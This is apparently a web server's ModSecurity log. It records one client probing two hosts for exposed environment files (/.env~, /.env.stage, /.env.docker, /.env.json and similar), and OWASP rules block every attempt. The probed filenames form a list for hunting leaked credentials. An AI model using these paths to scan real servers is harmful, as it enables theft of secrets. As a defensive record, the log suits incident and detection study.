[Sat Oct 24 21:49:32.622705 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1gLDKiZtbKEGWJKoLWVwAAACE"]
[Sat Oct 24 21:49:32.622954 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1gLDKiZtbKEGWJKoLWVwAAACE"]
[Sat Oct 24 21:49:32.623155 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1gLD8oejtZfsaip1YpEwAAABE"]
[Sat Oct 24 21:49:32.623269 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1gLDKiZtbKEGWJKoLWVwAAACE"]
[Sat Oct 24 21:49:32.623431 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1gLD8oejtZfsaip1YpEwAAABE"]
[Sat Oct 24 21:49:32.623758 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1gLD8oejtZfsaip1YpEwAAABE"]
[Sat Oct 24 21:49:32.651450 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1gLDKiZtbKEGWJKoLWWAAAACE"]
[Sat Oct 24 21:49:32.656069 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1gLDKiZtbKEGWJKoLWWAAAACE"]
[Sat Oct 24 21:49:32.656430 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1gLDKiZtbKEGWJKoLWWAAAACE"]
[Sat Oct 24 21:49:32.660085 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1gLD8oejtZfsaip1YpFAAAABE"]
[Sat Oct 24 21:49:32.660259 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1gLD8oejtZfsaip1YpFAAAABE"]
[Sat Oct 24 21:49:32.660496 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1gLD8oejtZfsaip1YpFAAAABE"]
[Sat Oct 24 21:49:32.696857 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1gLD8oejtZfsaip1YpFQAAABE"]
[Sat Oct 24 21:49:32.697168 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1gLD8oejtZfsaip1YpFQAAABE"]
[Sat Oct 24 21:49:32.697568 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1gLD8oejtZfsaip1YpFQAAABE"]
[Sat Oct 24 21:49:32.716365 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1gLDKiZtbKEGWJKoLWWQAAACE"]
[Sat Oct 24 21:49:32.716617 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1gLDKiZtbKEGWJKoLWWQAAACE"]
[Sat Oct 24 21:49:32.716940 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env2"] [unique_id "at1gLDKiZtbKEGWJKoLWWQAAACE"]
[Sat Oct 24 21:49:32.864433 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1gLD8oejtZfsaip1YpFgAAABE"]
[Sat Oct 24 21:49:32.864659 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1gLD8oejtZfsaip1YpFgAAABE"]
[Sat Oct 24 21:49:32.865000 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1gLD8oejtZfsaip1YpFgAAABE"]
[Sat Oct 24 21:49:32.872370 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1gLDKiZtbKEGWJKoLWWgAAACE"]
[Sat Oct 24 21:49:32.872544 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1gLDKiZtbKEGWJKoLWWgAAACE"]
[Sat Oct 24 21:49:32.872780 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "at1gLDKiZtbKEGWJKoLWWgAAACE"]
[Sat Oct 24 21:49:32.940490 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1gLD8oejtZfsaip1YpFwAAABE"]
[Sat Oct 24 21:49:32.940774 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1gLD8oejtZfsaip1YpFwAAABE"]
[Sat Oct 24 21:49:32.941075 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1gLD8oejtZfsaip1YpFwAAABE"]
[Sat Oct 24 21:49:32.983003 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1gLD8oejtZfsaip1YpGAAAABE"]
[Sat Oct 24 21:49:32.983279 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1gLD8oejtZfsaip1YpGAAAABE"]
[Sat Oct 24 21:49:32.983639 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1gLD8oejtZfsaip1YpGAAAABE"]
[Sat Oct 24 21:49:33.042675 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1gLTKiZtbKEGWJKoLWWwAAACE"]
[Sat Oct 24 21:49:33.042995 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1gLTKiZtbKEGWJKoLWWwAAACE"]
[Sat Oct 24 21:49:33.043368 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at1gLTKiZtbKEGWJKoLWWwAAACE"]
[Sat Oct 24 21:49:33.074343 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1gLTKiZtbKEGWJKoLWXAAAACE"]
[Sat Oct 24 21:49:33.074564 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1gLTKiZtbKEGWJKoLWXAAAACE"]
[Sat Oct 24 21:49:33.074841 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "at1gLTKiZtbKEGWJKoLWXAAAACE"]
[Sat Oct 24 21:49:33.091517 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1gLT8oejtZfsaip1YpGQAAABE"]
[Sat Oct 24 21:49:33.091702 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1gLT8oejtZfsaip1YpGQAAABE"]
[Sat Oct 24 21:49:33.091965 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1gLT8oejtZfsaip1YpGQAAABE"]
